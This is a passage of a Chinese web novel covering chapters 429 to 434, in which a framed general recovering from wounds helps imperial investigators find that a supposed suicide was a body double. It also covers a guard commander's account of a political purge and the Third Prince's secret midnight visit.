有的在探亲途中遭遇匪寇截杀,尸骨无存;有的在酒后失足坠下城楼,当场殒命;有的在营中染上怪病,缠绵病榻后不得不告老还乡。 更有些被调往他处任职,然而无论是节度府还是兵部的档案中,都查不到相应的调令,这些人就如同人间蒸发般消失得无影无踪。 宋集被悬吊在半空,因失血而苍白的脸上却不见半分惧色,他咧开干裂的嘴唇,露出一抹扭曲而疯狂的笑意:“秦都统,我劝您……别白费心机了。这里的每一步都是精心策划的,就算是廷尉府……也休想为凌川翻案!” 秦淮江缓缓合上名册,抬起平静无波的眼眸看向宋集。 眼下的局面确实棘手,望云关守将被杀,尽管他心知这必是陷害凌川的阴谋,但死者不仅是朝廷正五品武将,更是内阁首辅黄千浒的乘龙快婿。 以黄千浒的权势,绝不可能对此不闻不问,即便他只是依照程序恳请陛下彻查真凶,也足以将‘谋杀朝廷命官’的罪名牢牢钉在凌川身上。 更何况,神都朝堂之上,盼着凌川死无葬身之地的,又何止这位权倾朝野的内阁首辅一人? 因此,眼下将凌川扣押在望云关,与其说是审讯,不如说是一种变相的保护。 秦淮江心知肩上的担子沉重,他必须在凌川被押回神都之前查明真相,否则,一旦首辅与那些想要置凌川于死地的势力联手向陛下施压,凌川必将难逃一死。 第一卷 第429章 好惨啊! 次日清晨,凌川从昏睡中醒来,发现苏璃正守在床边,一双美目红肿不堪,显然是一夜未眠。 “相公,你醒了!”苏璃见他睁眼,眼中立即泛起激动的神采。 凌川刚想开口,却感觉喉咙干裂刺痛,苏璃连忙端起早已备好的温水,小心翼翼地喂他喝下。 “娘子快去歇息吧,我没事!”凌川的脸色虽然依旧显得很苍白,但声音却比昨日雄浑了许多。 苏璃强扯出一丝笑意:“我不困!相公一定饿坏了,我让翠花熬了粥,应该快好了!”她说着,又急切地问道:“对了,相公感觉如何?要不要我去请军医再来看看?” 凌川微微摇头:“不必麻烦,我感觉好多了!” 这倒不是安慰之词,除了几处重伤依旧疼痛外,其余伤口的痛楚确实缓解了许多。 他随即让苏璃唤来苍蝇,对此,守在外面的禁军并未阻拦,很快苍蝇便来到床前。 见到凌川浑身缠满绷带的模样,他眼底满是忧色:“将军,您感觉如何?” “无碍!外面情况如何?” “禁军和廷尉府已经全面接管望云关,正在彻查!”苍蝇回答道。 “兄弟们情况如何?” “大家都安好!”苍蝇如实回禀。 当时城外的局势虽然剑拔弩张,但除了最初那五百名充当炮灰的死士外,双方并未真正开战。 凌川大致了解情况后,对苍蝇嘱咐道:“传话下去,让弟兄们莫要单独行动,尽量避免与禁军和廷尉府的人发生冲突。” 眼下局势不明,他只能尽可能做出稳妥的安排。 就在这时,两道身影一前一后步入房内。 一人身着玄色铠甲,正是禁军统领蓝少堂;另一人身着螭纹官服,腰悬螭玄刀,胸前佩戴的金刀徽记与阎鹤诏一模一样,凌川立刻猜出了来人的身份。 “凌川见过蓝统领、秦都统!”他虽然无法起身,仍主动开口致意。 “好惨啊!”蓝少堂啧啧摇头,与昨日见面说着同样的话,算是回应。 秦淮江只是微微颔首,随即转向苏璃,语气平和却不容置疑:“苏小姐,我等有些事需向凌川求证,请你暂避片刻!” 或许是因父亲苏大将军的往事,苏璃对廷尉府的人天生带着几分戒备。 凌川对她温和一笑:“先去歇着吧,无妨!”又对苍蝇道:“送夫人回去休息。” 待苏璃与苍蝇离去后,二人分别在床前的椅子上坐下。 没有虚伪的寒暄,也没有多余的客套。 “凌将军,”秦淮江开门见山,“本官有几个问题需要你如实回答。” 若说阎鹤诏给人的感觉是冷冽如冰,那么眼前的秦淮江则像一块历经风雨的砖头石,方正、沉稳,不带丝毫个人情感。 “都统大人尽管询问,末将定当知无不言!”凌川郑重颔首。 秦淮江目光沉静地注视着他,像是审问:“请你将昨日之事,从头细说一遍,不要错过任何细节!” 凌川略作沉吟,理清思绪,从昨日率部抵达望云关下发现城门紧闭开始,将整个事件的经过原原本本道来,未曾遗漏任何细节。 二人听罢,神色明显凝重了几分。蓝少堂身体微微前倾,问道:“之前有现场的士兵说,你先前在城头声称,进入萧卫蘅院中时看到他已经死了,为何与你刚才的言辞不一致?” 凌川没有迟疑,说道:“当时情势危急,为稳住局面,不得已出此权宜之言。实情是,萧卫蘅便是在我面前……自尽身亡!” “当时可有第三人在场?”蓝少堂追问。 凌川再次摇头,这个答案本在二人预料之中,既为构陷,布局者又岂会留下目击证人。 秦淮江此时再度开口,声音平稳却带着不容错辨的锐利:“你身边那两位少年,蜀山沈七岁与空观寺一禅和尚,此刻身在何处?” 凌川对此并无隐瞒:“我命沈七岁折返,去查验萧卫蘅的尸身了!” “查验尸身?”秦淮江眼神一凝,敏锐地捕捉到其中关窍,“此举为何?” 凌川将目光转向蓝少堂:“蓝统领可还记得,两年前陛下于猎场秋狩时遭遇的那场刺杀?” 蓝少堂目光骤然转沉,缓缓点头:“自然记得!你麾下洛青云,正是因那件事被发配至死字营。” “洛青云曾告知于我,他事后从相熟军医处得知,萧卫蘅当时所中箭伤,其创口形制与禁军专用箭镞造成的伤痕一般无二!”凌川一字一句道。 此言一出,无论是蓝少堂还是秦淮江,眼中皆掠过一丝难以掩饰的震惊,他们太清楚这个信息背后所隐含的分量。 “带洛青云过来!”蓝少堂朝门外沉声吩咐。 “是!” 不过片刻,洛青云便被两名军士搀扶而至,他虽也缠着绷带,状态却比凌川好上许多。 一名禁军搬来木椅让他坐下,随即退出门外。 “洛青云!”蓝少堂凝视着他,“两年前陛下秋狩遇刺一案,你知晓其中另有隐情?” 洛青云点了点头,声音带着几分沙哑:“回统领,属下……仅有些许猜测,并无实证。” “你的猜测,依据何在?”这次发问的是秦淮江。 面对这位廷尉府都统,洛青云眼神中明显带着几分敬畏,他稳了稳气息答道:“当年为萧将军处理箭伤的军医吴通,是属下同乡,他来狱中探望时,曾向属下提及此事。” “吴通?”蓝少堂眉头微蹙,“此人不是已经死了吗?” “属下事后得知,就在他告知我此事当晚……便因醉酒,失足跌入洛水,溺水而亡!” 蓝少堂目光闪烁,似乎在记忆中搜寻着这段模糊的往事,当时圣驾遇刺,举朝震惊,所有人都忙于追查真凶,一名底层军医的‘意外’身亡,确实未能引起太多关注。 倘若洛青云所言非虚,那么当年的刺杀案,萧卫蘅定然脱不了干系。 甚至有可能,那些刺客本就是经他之手放入猎场,正是洛青云及时率部赶到,才意外破坏了这场精心策划的刺杀,护住了陛下。 这也迫使萧卫蘅不得不上演一出苦肉计,以箭伤洗脱嫌疑,并顺势将洛青云这个变数打入死牢。 第一卷 第430章 萧卫蘅未死 听完洛青云的叙述,蓝少堂与秦淮江的目光在空中短暂交汇,彼此都从对方眼中读到了难以掩饰的震惊。 这个信息太过骇人,若萧卫蘅当真参与了当年的刺驾阴谋,那他充其量不过是一枚被人操控的棋子。 那么,隐藏在幕后的那只手,究竟属于谁? 会是那位权倾朝野、门生故旧遍布朝堂的内阁首辅吗? 至此,他们终于明白凌川为何要冒着巨大风险,派沈七岁重返险境查验那具尸体。 秦淮江深吸一口气,声音压得极低,带着不容错辨的紧迫感:“可有查到什么?” 凌川微微摇头,说道:“得等沈七岁回来才知道结果!” 就在这时,房门被猛地推开,一名扎着冲天辫的少年背着硕大剑匣闯了进来,连声嚷道:“来啦来啦!” 沈七岁顾不上行礼,径直冲到桌边连饮三杯茶水,这才喘着气说道:“将军,那具尸体我带回来了!” “在何处?”蓝少堂倏然起身,语气中带着难以抑制的急切。 沈七岁指向门外:“就在外面!不过......”他顿了顿,神色凝重,“已经面目全非了。” 面目全非四字一出,蓝少堂与秦淮江同时变色,立即快步来到门外。 院中担架上躺着一具血肉模糊的尸身,整张脸被毁得惨不忍睹,既有锋刃划割的痕迹,也有钝器重击的伤口,五官早已无法辨认。 秦淮江蹲下身,取出随身匕首,小心翼翼地割开尸身衣衫。 只见其心口处一个狰狞的血窟窿赫然在目,从伤口边缘碎裂的形状来看,刺入的利刃不仅穿透了心脏,还在体内狠狠绞动过,不然伤口不至于像现在这般形状。 “你确定,此人就是萧卫蘅?”秦淮江抬眼看向沈七岁,目光如炬。 少年肯定地点头:“我赶回那座院子时,正撞见几个士兵在处理尸体。我出手解决了他们,可转眼间外面又涌来大批人马。情急之下,我只好带着尸体躲上房梁。” “我问的是,你确定这就是凌川昨日见到的那个人?”秦淮江语气加重。 沈七岁敏锐地察觉到话中深意,正色道:“当时我与一禅冲进屋内,亲眼见他倒在地上,手中还握着那把刺穿胸膛的匕首。虽然后来面容被毁,但身形、衣着都乃至伤口与昨日一般无二!” 此时,蓝少堂也已仔细查验完毕,起身沉声道:“果然不出凌川所料!” 沈七岁一脸困惑:“什么意思?你们到底在查什么?” 蓝少堂示意他稍安勿躁,几人重新回到屋内。 此刻凌川已靠着床头坐起,见众人返回,他立即问道:“结果如何?” 秦淮江直言不讳:“你猜得不错,那人并非萧卫蘅!” 沈七岁闻言脸色顿变,语气极为肯定:“绝不可能!这就是我昨日见到的萧卫蘅!” 蓝少堂耐心解释道:“我查看了尸体,他胸前位置除了自杀的那道伤口之外,并无箭伤留下的疤痕,所以,你们从头到尾看到的,应该都只是一名死士,真正的萧卫蘅极有可能还活着!” 听到这里,沈七岁才恍然大悟,难怪凌川曾说,若这个猜测得到证实,便可扭转整个局面。 秦淮江看向凌川,问道:“如此说来,空观寺那位小和尚便是去追查真正的萧卫蘅了?” 凌川微微颔首:“我不敢断定真身是否仍在望云关,但关内生变,必定会有人急于离开。故而请一禅暗中监视各路要道。” 他刻意含糊了求助他人的细节,他已经隐约猜到那四名帮他们挡住杀手,从而帮助他们脱困之人的身份,不想为那几人带来麻烦。 “可有消息?”秦淮江又问。 凌川摇头:“目前还没有!” 待秦淮江与蓝少堂离去后,凌川独自陷入沉思。 此番虽侥幸生还,却让他深切体会到血衣堂的可怕。 犹记初至云岚县时听闻此名,只当是个寻常的江湖杀手组织,而后与章绩交锋,得知这位朝廷命官竟是其中高层,才意识到这个组织远非想象中简单。 然而直到这次望云关之变,他才真正意识到,以往对血衣堂的认知不过冰山一角。 这座关乎神都安危的雄关竟被渗透至此,各级将领或遭替换,或遭灭口,这等手段,实在令人胆寒。 难以想象这个组织究竟庞大到何种地步,更不知帝国境内还有多少地方已悄然落入其掌控。 此次变故,究竟是血衣堂专为除掉他而设的杀局,还是他误打误撞坏了对方在望云关的布局?亦或者,这一切本就都在对方的算计之中? 凌川长叹一声,揉了揉发胀的太阳穴,试图将这些纷乱的念头驱出脑海。 他又向沈七岁细问了几个关键之处,少年一一作答。 “辛苦你了,快去歇息吧!”凌川温言道。 待沈七岁离去,洛青云却凑到床前,压低声音谨慎禀报:“将军,有人想见您!” “何人?”凌川神色微动。 洛青云这般谨慎,足以说明来人身份必定非同寻常。 “三皇子!” 这声低语轻得几乎只有气息,却让凌川心头剧震。 这段时日他曾抽空了解过神都局势,对皇家之事略知一二。 当今天子膝下共有四位皇子、三位公主。 其中长公主与皇长子系皇后所出;二皇子与二公主为齐贵妃所生;三皇子生母是华昭妃;四皇子与三公主则是一对孪生兄妹,皆为姚瑾妃所出。 更让凌川在意的是,这位华昭妃出身特殊。她本是流落风尘的歌女,早年天子微服出巡,被她的才貌所动,不顾朝臣反对执意纳入宫中。 虽得封妃位,却因出身卑微,在宫中始终抬不起头,即便是后来入宫的姚瑾妃,地位也在她之上。 即便后来诞下三皇子,这对母子的处境也未见多少改善,虽说这些都只是传言,但想来也绝非空穴来风。 此刻三皇子突然到访,所为何事,令人深思。 “他以什么身份来的?”凌川又问。 “混迹在禁军之中,以普通军卒的身份找到属下,让属下来传话!”洛青云曾为禁军,自然是认识这位三皇子殿下的。 第一卷 第431章 东宫无主 凌川眉头微蹙,陷入沉思。 三皇子在此等敏感时刻秘密求见,究竟意欲何为? 自己该不该见这一面? “他现在人在何处?”凌川追问道。 “殿下与属下接头后便离去了,只让属下转告将军,若愿相见,今夜子时在房中留一盏灯即可!”洛青云低声回禀。 凌川微微颔首:“容我想想!” 整个下午,凌川都卧在榻上养伤,如今他伤势未愈,确实也动弹不得。 两个时辰后,苍蝇轻手轻脚地走进来,将一封密信呈给凌川,拆开一看,字迹端庄圆润,透着一股超然物外的宁静之气,竟是一禅小和尚的来信。 信中提到,他已寻得那四位江湖高手,并将凌川的请求如实相告。几人一同追踪从望云关撤离的将领,发现他们竟都朝着神都方向而去。 “你回信告诉他,继续监视,切勿打草惊蛇!”凌川对苍蝇吩咐道。 “是!”苍蝇领命退下。 晚饭时分,苏璃亲自端着食盒来到房中,一勺一勺细心喂给凌川。 凌川将三皇子前来望云关求见之事告知于她,苏璃眼中闪过一丝讶异,随即浮现出若有若无的忧色。 “娘子觉得,我该不该见这一面?”凌川靠在床头轻声问道。 “妾身一个妇道人家,这等大事不便多言,还是相公自己拿主意为好!”苏璃垂眸答道。 凌川轻轻握住她的柔荑:“你我既是夫妻,有什么事自然该一同商议,况且我对神都局势知之甚少,还需娘子为我参详!” 苏璃沉吟片刻,缓缓道:“这位三殿下年岁与你我相仿,妾身虽曾见过几面,却并无深交。” “他在神都向来低调,既不流连烟花之地,也不招摇过市。平日里多半待在宫中或书院,关于他的消息少之又少,甚至常常被人遗忘。”苏璃继续道。 “那娘子以为,他此番前来,所图为何?”凌川追问。 苏璃凝神思索,轻轻摇头:“若是其他几位皇子前来,必是为了东宫之位,除了四皇子尚且年幼,其余皆已成年,可陛下迟迟未立储君,致使东宫虚位以待。虽说我朝历来立嫡长为储,但立其他皇子为太子的先例也不在少数。” “皇长子德才兼备,无论出身还是遵循礼制,都是储君的不二人选;偏偏二皇子又文武双全,其母乃是齐大学士的掌上明珠,在朝中也有大批拥趸。这正是陛下迟迟不立太子的缘由!” 凌川点头称是,立储之事关乎国本,牵一发而动全身,他自然明白其中利害。 如今的大周王朝,确实经不起更多动荡。 眼下这般局面,无论立谁为太子,都势必引发另一方的激烈反对,轻则君臣离心,重则动摇国本。想来这也是陛下始终犹豫不决的原因。 凌川不由轻叹:“陛下难道不知,此事拖延越久,便越难决断?” “陛下定然心知肚明,只是待他察觉时,局面已然如此了。”苏璃猜测道。 她随即面露困惑:“按理说,若是大皇子或二皇子前来,我都不觉意外。唯独这位既无外戚扶持,又不得圣宠的三皇子突然造访,实在让人猜不透其中玄机。” 像凌川这般能力出众、从边伍中一步步爬上来的年轻将领,自然是诸位皇子争相拉拢的对象。毕竟他们都需要培植自己的势力,待来日登临大宝,这些将领便是朝中栋梁。 之所以选择寒门出身的将领,正是因其身后没有盘根错节的势力,用起来更为放心。而那些世家子弟或重臣之后,要么早已站队,要么身后牵扯着庞大的利益集团,想要拉拢他们,代价实在太大。 待他们登基之后,这些世家背后的势力必将不断侵蚀朝廷利益。到那时,新君与他们早已结成利益共同体,再难划清界限。 眼下大皇子与二皇子都未现身,凌川猜测原因不外乎两点,一是他与苏璃的这层关系,让他们哪怕有心也得避讳;二是他们的拥护者中,必有与他交恶之人,譬如户部尚书顾承均,或是内阁首辅黄千浒之流。 凌川淡然一笑:“既然连娘子都猜不透,那我更要见上一见了!” 苏璃神色却愈发凝重:“相公,此事牵连甚广,绝不似表面这般简单,还望三思而后行。” 凌川郑重颔首:“娘子放心,我自有分寸。” 夜色渐深,洛青云与凌川这两个伤员正在一起聊天,而凌川也是在借此机会,向洛青云了解神都局势。 就在此时,蓝少堂来访,二人连忙起身见礼:“属下洛青云,见过统领!” 蓝少堂摆了摆手:“不必多礼。” 他自顾自寻了把椅子坐下,望着眼前这个曾经的得力部下,不由叹道:“想不到你我还有重逢之日,也算是上天垂怜。” “全赖当年统领在陛下面前拼死力保,否则两年前属下就已身首异处了。”洛青云感激道。 “这些陈年旧事,不提也罢。”蓝少堂凝视着他,“现已经查明,那具尸体确实不是萧卫蘅。我已传信回神都禀明统帅,请求重查两年前那场刺杀案,若真与萧卫蘅有关,便能为你洗刷冤屈。” 洛青云闻言,胸中涌起难以抑制的激动。这两年来他虽从不与人提及,心中却始终憋着一口郁气,即便在暗无天日的死字营中熬出了头,这口气也未曾消散。 “若真相果如所料那般,你非但无罪,反倒是有救驾之功!” “多谢统领!”洛青云躬身行礼,“属下不求封赏,只求一个清白!” 蓝少堂欣慰点头:“虽说你现在不是我的兵,但终究曾是禁军一员。我定当竭尽全力,还你一个公道。” 随即,蓝少堂将目光看向凌川,问道:“你那边可有查到消息?” 凌川点了点头,说道:“小和尚传回消息说,那些逃离望云关的将领,分批前往神都了!” 蓝少堂神色微变,但并没有太多担忧,这些宵小之辈若想在神都兴风作浪,那无异于自寻死路,至于皇城,有禁军守护,更是万无一失。 第一卷 第432章 暗箱操作 蓝少堂目光沉凝,语气中带着少见的郑重:“眼下这局势,无论是江湖草莽还是庙堂诸公,都有无数双眼睛在盯着你,你如今风头正盛,一举一动皆在他人注视之下!” 凌川颔首,随即问出心中疑惑:“末将明白!只是,末将尚有一事不解,望云关距神都足有五百里之遥,蓝统领何以半日便至?莫非真有未卜先知之能?” 蓝少堂闻言,唇角泛起一丝浅淡的笑意,摇头道:“你真当我能掐会算不成?是陛下听闻你在定州平叛,麾下随从折损甚重,特命我率两千禁军前来接应,以示天恩。我等早已在路上了,途中接到望云关急报,这才马不停蹄,加速赶来。” 凌川这才恍然大悟,原来圣眷早已先行。 “你小子,就偷着乐吧!”蓝少堂瞥了他一眼,语气带着几分难以言喻的意味,“不是我刻意抬举,亦非打击于你。你一个小小的边军五品将军,若放在神都那潭深水里,怕是连个水花都溅不起。可陛下竟派了禁军前来接应,这是何等的殊荣?你可知,即便是大和帝国的使团前来,陛下也仅是派遣两百五十名禁军,于百里之外象征性相迎!” “大和使团?”凌川神色一凛,捕捉到这个陌生的名号。 “不错!”蓝少堂点头,面色转为凝重,“大和帝国近年来狼子野心,不断撺掇百济、新罗、高丽等附属小国,屡屡侵扰我东疆海境,劫掠商船,屠戮边民。此次他们遣使前来神都,名义上是友好邦交,实则包藏祸心,意在试探我朝虚实!” 凌川默默点头,这几个国名他虽是初次听闻,但结合蓝少堂的描述,其来历与背景已能猜出七八分。 “以往,大和帝国可曾派过使团前来?”凌川追问。 蓝少堂点了点头,说道:“那要追溯到百年前,我大周水师艨艟巨舰陈列于其国门之外,兵锋直指其京都首府,他们才不得不低下那桀骜的头颅,派出使团,卑词厚币,前来求和乞降!” 几人又闲谈片刻,凌川忽然神色一正,身体微微前倾,目光如炬地看向蓝少堂:“蓝统领,末将心中尚有一事,不知当问不当问!” 蓝少堂迎着他的目光,坦然道:“但问无妨,只要不涉及宫中机密与禁军律条,我知无不言。” 凌川深吸一口气,终是将埋藏心底的疑问抛出:“一年前,苏大将军奉旨回朝,其亲兵校尉唐岿然所率的一千亲兵刚进神都便被禁军扣下,此事,统领可知晓?” 话音甫落,客厅内的空气仿佛骤然凝固。 蓝少堂的眼神瞬间有了细微的变化,他并未立刻回答,而是缓缓端起几上的茶杯,凑到唇边浅浅啜饮了一口,借此短暂的停顿整理着思绪。 随后,他放下茶杯,声音平稳却带着重量:“知道!” 听到这个答案,凌川眼眸深处瞬间掠过一丝冰冷的寒意,置于膝上的手不自觉地握紧。 然而,蓝少堂紧接着补充道:“不过,当时我本人,并不在神都!” 侍立一旁的洛青云闻言,暗自松了口气。 于他而言,蓝少堂与凌川都对他有救命之恩,他实在不愿见到这两人产生冲突。 只见蓝少堂将茶杯轻轻放回原处,继续道:“凌川,我可以明确告诉你,莫说唐岿然当时只带了一千亲兵,就算他麾下有一万南系军百战精锐,兵临神都城下,也休想掀起半分风浪。” 对于这一点,凌川并不怀疑。 堂堂帝国神都,若连一万大军的都抵挡不住,那才真是天大的笑话。 “敢问蓝统领,当时……身在何处?”凌川追问,目光紧紧锁定对方。 蓝少堂的眼神再次沉敛下去,沉默片刻,方才开口,声音压低了些许:“告诉你也无妨,当时,我正率领一部禁军,奉命在南疆平叛!” 平叛二字入耳,凌川心头剧震,所有线索瞬间串联起来,他已无需再问。 而洛青云刚放下的心,也随之再次高悬。 就在这时,蓝少堂将目光转向洛青云,语气不容置疑:“你身上带伤,先回去歇息!” 洛青云心领神会,这是统领要他回避,他当即起身,抱拳行礼,默默退了出去。 待洛青云的脚步声远去,蓝少堂才重新看向凌川,解释道:“让他离开,并非不信任,而是有些事,知道得越多,对他越无益处!” 随即,他神色一肃,周身气息变得格外凝重:“此刻,此处再无六耳,门外皆是我随身亲信,凌川,你有何疑问,尽可直言!” 凌川原本只想旁敲侧击,未料对方竟如此开门见山,他自然不会错过这难得的机会,当即单刀直入:“末将只想问一句,当年苏大将军一案,蓝统领您,是否参与其中?” “凌川,你听清楚!”蓝少堂凝视着他,语气是前所未有的认真,“倘若当初奉命前往南疆的不是我蓝少堂,而是禁军其他两位统领中的任何一位,那么当时,南系军中苏大将军麾下那些嫡系将领就不是交出兵权、解甲归田便能了事,而是从上至下,被杀得人头滚滚,血流成河!” 凌川瞳孔骤然收缩:“此言何意?” “最初的密令,是对南系军展开彻底清洗!”蓝少堂面沉如水,一字一句道,“凡苏老将军一手提拔起来的将领,有一个算一个,尽数拿下。轻则投入诏狱,此生不见天日;重则……立决辕门,以儆效尤!” 此前,凌川从陈暻垚口中得知,南疆那场清洗异常惨烈,不少将领被砍了脑袋,还有许多则是被缴了兵权,主动请辞回乡。 原来是蓝少堂在暗箱操作,给他们留了一条活路。 凌川只觉一股寒意从脊背窜起,他强压心惊,壮着胆子追问:“这是……陛下的意思?” “我不知道!”蓝少堂微微摇头,避开了直接回答,“我接到的,是禁军统帅,南宫大人的直接命令!” 禁军统帅,南宫昰! 凌川在心中默念这个名字。 第一卷 第433章 功高震主 “归根结底,是苏老将军功高震主,引来了圣心猜忌!”蓝少堂长叹一声,语气中带着几分无奈与惋惜,“我听闻,陛下最初召苏老将军回神都,本意只是让他交出兵权,赐金还乡,得个善终。可当苏老将军回到神都,身边仅余那一千亲兵,犹如猛虎被拔去利齿尖牙,便有人迫不及待地跳出来,落井下石,欲置其于死地而后快!” 凌川眼中杀机一闪,几乎是咬着牙问道:“可是那权倾朝野的千面鼬?” “不仅仅是他!”蓝少堂却微微摇头,说道:“大周朝堂之上,文武失和,相互倾轧,自先帝朝末期便已蔚然成风。那些自诩清流的文官集团,其野心早已不止于掌控庙堂,更欲将触手伸向四方边关,将天下兵权尽收囊中。事实上,他们数十年来,也一直是这般行事!” 凌川点了点头,对于这一点,他已有领教。 他顿了顿,声音愈发低沉:“他们从一开始想要扳倒的,就不仅仅是苏大将军一人,而是意图借此机会,将整个南系军的根基彻底摧毁,换上他们自己的人。” 听到这里,凌川已然明了。 一旦南系军的擎天巨柱倒下,那些被打上‘苏’字烙印的将领必然受到牵连,届时将空出大量至关重要的军职,朝中的文官集团便可趁机安插亲信,逐步将帝国南疆的支柱彻底掌控。 “如今的朝堂,早已非陛下金口玉言便能定夺一切!”蓝少堂的眼神中流露出深深的无力感,“很多时候,内阁递上的票拟,比陛下的圣谕……更为管用!” 凌川心中巨震,一个可怕的念头浮现:‘难道当今天子已被彻底架空,皇权旁落,陛下竟已成……傀儡?’ 蓝少堂打断了他的猜测:“陛下仍是天子,这一点毋庸置疑。但天子亦是人,哪怕坐在那九五之尊的位置,亦受时势与格局所制。自黄首辅执掌内阁以来,十数年间,无论是中枢内阁,还是六部衙门,早已铁板一块。便是御史台、廷尉府,乃至我禁军之中,谁又知有多少人是他们暗中安插、栽培起来的?” 他端起那杯已微凉的茶,指尖轻轻摩挲着杯壁:“你可知,如今各地呈报的奏疏,都要先经内阁票拟,之后方能呈递至陛下御前?即便是陛下亲笔朱批的圣旨,若无内阁附署用印,亦会被六科给事中行使封驳之权,原样退回?” 凌川默然,一股寒意自心底蔓延开来。 他虽久在边陲,对朝制亦有所耳闻,却未曾想,内阁之权柄竟已膨胀至如此地步,几近钳制皇权。 “此前,尚有院长大人能以一己之力震慑文官集团与诸多世家门阀。可自五年前,院长大人自封于书院,不再过问朝政之后,朝堂之上,便只剩苏老将军一人,愿以武臣之身,独力抗衡那滔天之势!” 蓝少堂长叹一声,眉宇间尽是忧色,“而如今,苏老将军这最后一道屏障也已倾颓,庙堂之上,已然太久……太久没有第二个不同的声音响起了!” 他目光转而落在凌川身上,变得锐利而深沉:“你此番奉诏回神都,本身便是陛下对那盘根错节的势力,一次大胆的试探。我想,这一点你早已想到,并且……已做好了相应的准备!” 凌川缓缓点头。此事,早在他尚在北疆,未动身之前,便已有不止一人向他隐晦提及。 此刻,不知有多少双眼睛在暗中观望,想看看他这把在北疆淬炼得锋利无匹的刀,能否在这神都遍布的荆棘之中,硬生生斩开一条血路,能否为帝国这头步履蹒跚的垂暮巨兽,剜去腐肉,注入一丝新的生机。 同样,也必然有很多人,在千方百计地阻挠,意图在陛下真正握住你这把刀之前,便将这一潜在的威胁彻底扼杀于萌芽之中。 言尽于此,蓝少堂站起身来,目光转向后堂方向,声音不大,却字字清晰:“苏大小姐,我与南系军及苏老将军虽素无交集,但苏老将军一生戍守南疆国门,功勋卓著,我蓝少堂对他唯有敬仰与崇拜,绝无半分加害之心!” 他略作停顿,语气愈发沉重:“即便当初奉命前往南疆处理后续,那也是身负皇命,职责所在。其间种种,我已竭尽所能,最大程度保全了南系军的同袍!” 说罢,他不再多言,转身大步离去,身影很快融入门外的夜色之中。 片刻之后,苏璃自屏风后缓步走出。 烛光下,她眼眸通红,水光氤氲,脸上神色交织着悲痛、愤怒与一丝不易察觉的茫然。 “相公……”她声音微哑,带着一丝颤抖,“你觉得……他方才所言,有几分可信?” 凌川凝视着她,沉声道:“观其神色,听其言辞,不似作伪!” 苏璃轻轻点了点头,贝齿轻咬下唇,欲言又止:“相公,我……我其实……” 凌川见她如此,心中了然,伸手轻轻将她拉到床边坐下,握住她微凉的柔荑,温声道:“娘子,不必多虑,更无须自责。岳父大人的事,便是我凌川的事。无论如何,我定会查个水落石出,还岳父一个清白公道。” 苏璃闻言,眼中泪光更盛,激动地点头,随即又化为浓浓的担忧:“我只是怕……怕因此将你卷入这无底深渊,让你受到伤害……” 凌川却是不以为意地笑了笑,伸手替她拭去眼角的泪痕,语气坚定:“自你我结为夫妻之日起,我们便已是同命一体,福祸与共。即便我此刻选择明哲保身,什么都不做,你以为,那些处心积虑之人,就会轻易放过我们吗?既已入局,便唯有向前!” 两人又低声交谈了片刻,直至接近亥时,苏璃才心事重重地起身离去。 子时将近,军营内外一片寂静。 一队巡夜的禁军士兵路过凌川所居的院落,走在队伍最后的一名士兵,在经过凌川窗外时,见里面烛火依然亮着,眼中不禁掠过一丝喜色。 他刻意放缓脚步,待前面同伴的身影转过拐角,消失不见后,迅速左右环顾,敏捷地推开房门进入屋内,又反手将门轻轻掩上。 第一卷 第434章 三皇子,周灏 前面那几名禁军浑然未觉队尾少了一人,依旧按着既定路线巡逻远去,对此保持了惊人的默契。 这名掉队的士兵进屋后,先是迅速取下头上那顶略显沉重的制式头盔,随手理了理被压得有些凌乱的发丝,随后轻手轻脚地走向内室床榻。 此刻,凌川正靠坐在床头,看似闭目养神,实则体内真气正沿经脉缓缓流转。前段时间,他发现每当运转真气,伤口处便会传来一阵奇异的温热感,疼痛也随之大为缓解。 “周灏,求见凌将军!” 只见那面容清秀、年纪与凌川相仿的士兵来到床前,拱手躬身,对着凌川行了一礼。 凌川闻声,缓缓睁开双眼。 待看清站在床前之人的面容,他脸色微变,连忙挣扎着就要起身下床搀扶。 “殿下万万不可!此礼过于沉重,末将如何受得起!” 然而他腿伤未愈,动作稍急,身体便是一个趔趄,险些栽倒在地。 名为周灏的三皇子见状,急忙上前一步,伸手将他稳稳扶住。 “将军身上有伤,快快坐好!”三皇子的声音带着不容置疑的关切。 凌川只得顺势坐回床边,同时也伸手示意对方:“殿下请坐,您如此大礼,实在令末将惶恐不安!” 三皇子依言在一旁的凳子上坐下,神态自然,毫无皇子架势,“将军言重了!您在北疆浴血奋战,奋勇杀敌,护我大周国土安宁,扬我大周国威于塞外。这一拜,于公于私,皆是周灏心甘情愿,亦是将军应得的敬意!” 这位三皇子身上,凌川既未感受到王侯将相常有的盛气凌人与傲慢,也无世家子弟那般刻意营造的清高。 他言谈举止间流露出的,是一种发自内心的谦逊与超越年龄的沉稳,让凌川对其第一印象颇佳。 “不知殿下深夜冒险来访,有何指教?”凌川不再客套,直接切入正题。 三皇子周灏神色一正,坦然道:“不瞒将军,我此番是专程为拜访将军而来!”他言辞恳切,自称用的是平易近人的‘我’,而非彰显身份的‘本皇子’或‘孤’。 凌川闻言,心中好奇更甚:“殿下此言,实在折煞末将了,凌川不过一介边军莽夫,何德何能,竟劳烦殿下屈尊降贵,实在愧不敢当!” 在尚未明确对方真实意图之前,他只能小心应对,言辞谨慎。 “将军过谦了!”三皇子摇头,眼中闪烁着真诚的钦佩之色,“若论沙场点兵、运筹帷幄,将军以区区一千五百兵力,屡次大破胡羯强敌,使其数万大军损兵折将,如此辉煌战绩,称之为当世名将,无人能出其右,也毫不为过!” 他略微停顿,继续道:“若论地方治理之才,仅从云岚县一地的变化便可见微知著。而后在云州推行的一系列新政,更是令人拍案叫绝!从扳倒盘踞多年的世家门阀,还田于民,到兴修水利,重塑农耕根基……这一桩桩、一件件看似寻常的举措背后,蕴含的皆是令人惊叹的智慧与魄力!” 凌川心中微动,他没想到,这位深居宫禁的皇子,对自己这半年多来的所作所为,竟几乎是如数家珍。 许多连他自己都已记忆模糊的细节,对方却能信手拈来,侃侃而谈。 由此可见,这绝非是为了应付他而临时抱佛脚,分明是下过一番苦功,做过深入细致的了解。 更让凌川感到震惊的是,三皇子并不仅仅是简单复述他的事迹,更能将他每一项举措背后的利弊得失、执行过程中遇到的难点与关窍,都分析得头头是道。 这份见识与洞察力,反倒让凌川对这个年轻的皇子刮目相看。 “仅凭以上这些文治武功,用百年不出的治国之才来形容将军,也绝没有夸张成分!”三皇子脸上写满了激动,声音也不自觉地提高了几分。 